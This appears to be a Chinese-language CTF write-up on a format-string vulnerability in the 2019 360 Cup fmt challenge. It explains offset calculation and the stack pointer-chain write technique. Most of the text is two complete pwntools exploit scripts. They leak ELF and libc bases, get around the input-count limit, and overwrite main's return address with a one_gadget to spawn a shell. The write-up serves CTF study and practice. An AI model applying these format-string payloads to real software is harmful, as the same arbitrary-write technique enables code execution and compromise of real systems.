再探格式化漏洞
前言
之前已经对格式化漏洞的原理进行了记录:
https://de4dcr0w.github.io/ISCC2017%E4%B9%8Bpwn1%E5%88%9D%E6%8E%A2%E6%A0%BC%E5%BC%8F%E5%8C%96%E6%BC%8F%E6%B4%9E.html
针对2019 360杯初赛的fmt题进行一次复习,题目文件地址:
https://github.com/De4dCr0w/ctf-pwn/blob/master/360-cup-2019/fmt
题目解析
题目流程较为简单,输入一个字符串,并直接用printf打印,存在格式化漏洞,并且限制输入三次。
开启了全保护:
32位程序中,printf输入的参数为fmt字符串+arg1+arg2+……,从右往左依次压入栈中。所以格式化漏洞第一步操作的都是栈中的数据,首先要找到打算泄漏或写入的地址距离fmt字符串的偏移是多少,可以通过pwngdb插件fmtarg来计算。
fmtarg 得到的是目的地址在整个字符串的索引,所以要减去1(去除fmt),例如:%order$s 对应的order为fmt字符串后面的参数的顺序。
64位程序中order要加上6,因为前6个参数是通过寄存器传递的。
调试时在printf函数下断点,查看栈的布局:
通常格式化漏洞利用会传入地址进行任意写,但如果字符串不保存在栈中,而是bss区或堆中时,例如本题,就需要在栈中找到像path2->path1->path0这样的利用链,path2和path1为栈中的地址,可以对path2的索引进行写入修改path0,然后对path1的索引进行写入修改path0的内容,达到任意地址写入的效果。(通常找到ebp,因为ebp保存的就是上一个栈帧的ebp地址)
一般格式化漏洞会修改got表来执行命令,但本题开启了保护,所以只能通过修改main函数的返回地址为one_gadget来get shell。
Exp
from pwn import *
from LibcSearcher import LibcSearcher
import time
context.log_level = 'debug'
p = process("./pwn2")
one_gadget = 0x3ac5e
def send_data(payload):
p.recvuntil("2. Exit")
p.sendline("1")
p.recvuntil("It's time to input something")
p.sendline(payload)
def Exit():
p.recvuntil("2. Exit")
p.sendline("2")
if __name__=='__main__':
payload = "AA%1$x%15$x%6$x"
send_data(payload)
p.recvuntil("AA")
elf_base = long(p.recv(8),16)-0x2010
print "elf_base:",hex(elf_base) //泄漏程序基地址
libc_main = long(p.recv(8),16)-247
path1 = long(p.recv(8),16)
ret_addr = path1 - 0x98 //泄露返回地址
print 'ret_addr:',hex(ret_addr)
libc = LibcSearcher("__libc_start_main",int(libc_main))
main_offset = libc.dump('__libc_start_main')
//因为题目中没有给出libc版本,所以需要泄露函数地址通过LibcSearcher查找版本
libc_base = libc_main-main_offset
print "libc_base:",hex(libc_base) // 泄漏libc基地址
one_gadget = libc_base + one_gadget
i_stack_addr = path1 - 0xc0 + 3
print "i_stack_addr:",hex(i_stack_addr)
#gdb.attach(p)
//修改循环的值,在高地址写入0xff,使其变成负数,绕过只能printf三次的限制
payload = "%" + str(i_stack_addr&0xffff) + "c%6$hn"
send_data(payload)
payload = "%" + str(0xff) + "c%57$hhn"
send_data(payload)
//修改path0 为main函数返回地址,写入两个字节修改地址部分
payload = "%" + str(ret_addr&0xffff) + "c%6$hn"
send_data(payload)
payload = "%" + str(one_gadget&0xffff) + "c%57$hn"
send_data(payload)
//修改path0 为main函数返回地址+2的地址,写入两个字节修改高地址部分
payload = "%" + str((ret_addr+2)&0xffff) + "c%6$hn"
send_data(payload)
payload = "%" + str((one_gadget&0xffff0000)>>16) + "c%57$hn"
send_data(payload)
Exit() //退出循环 main函数返回,触发one_gadget
p.interactive()
Exp2
该exp比较dirty,通过改写bss上N的值来绕过次数限制,并泄露got表中printf函数的地址来泄露libc地址,而且构造bss的地址时发送数据过大,容易失败。有点舍近求远,权当练习,也贴在下面:
from pwn import *
from LibcSearcher import LibcSearcher
import time
#context.log_level = 'debug'
p = process("./pwn2")
one_gadget = 0x3ac5e
def send_data(payload):
p.recvuntil("2. Exit")
p.sendline("1")
p.recvuntil("It's time to input something")
p.sendline(payload)
def Exit():
p.recvuntil("2. Exit")
p.sendline("2")
payload1 = "A"*0x3 + "%6$x"+"%6$s" + "%1$x"
send_data(payload1)
p.recvuntil("AAA")
path1 = long(p.recv(8),16)
print "path1_addr:",hex(path1)
path0 = u32(p.recv(4))
print "path0_addr:",hex(path0)
elf_base = long(p.recv(8),16)-0x2010
print "elf_base:",hex(elf_base)
N_addr = elf_base + 0x2008
print "N_addr:",hex(N_addr) //泄漏bss 上N的地址
#------------------------------------
payload2 = "%" + str(N_addr)+"c%6$n"
send_data(payload2) // 修改path0为N的地址
payload3 = "%" + str(0xbe)+"c%57$hhn" // 修改N的值为0xbe
p.sendline("1")
p.recvuntil("It's time to input something")
p.sendline(payload3)
#----------------------------------------
printf_got = elf_base + 0x1fd0
print "printf_got:",hex(printf_got)
payload4 = "%" + str(printf_got)+"c%6$n" //修改path0位printf got表地址
send_data(payload4)
payload5 = "A"*0x3 + "%57$s"
p.sendline("1")
p.recvuntil("It's time to input something")
p.sendline(payload5)
p.recvuntil("AAA")
printf_addr = u32(p.recv(4)) //泄漏printf 地址
print "printf_addr:",hex(printf_addr)
libc = LibcSearcher("printf",printf_addr) //查找libc版本
printf_offset = libc.dump('printf')
libc = printf_addr-printf_offset //泄漏libc基址
ret_addr = path1 - 0x98
print 'ret_addr:',hex(ret_addr)
one_gadget = libc + one_gadget
payload6 = "%" + str(ret_addr&0xffff)+"c%22$hn" //该部分就和上面的exp一样了
send_data(payload6)
payload = "%" + str(one_gadget&0xffff)+"c%59$hn"
send_data(payload)
payload6 = "%" + str((ret_addr+2)&0xffff)+"c%22$hn"
send_data(payload6)
payload = "%" + str((one_gadget&0xffff0000)>>16)+"c%59$hn"
send_data(payload)
Exit()
p.interactive()
参考链接
https://wiki.x10sec.org/pwn/fmtstr/fmtstr_example/
https://github.com/lieanu/LibcSearcher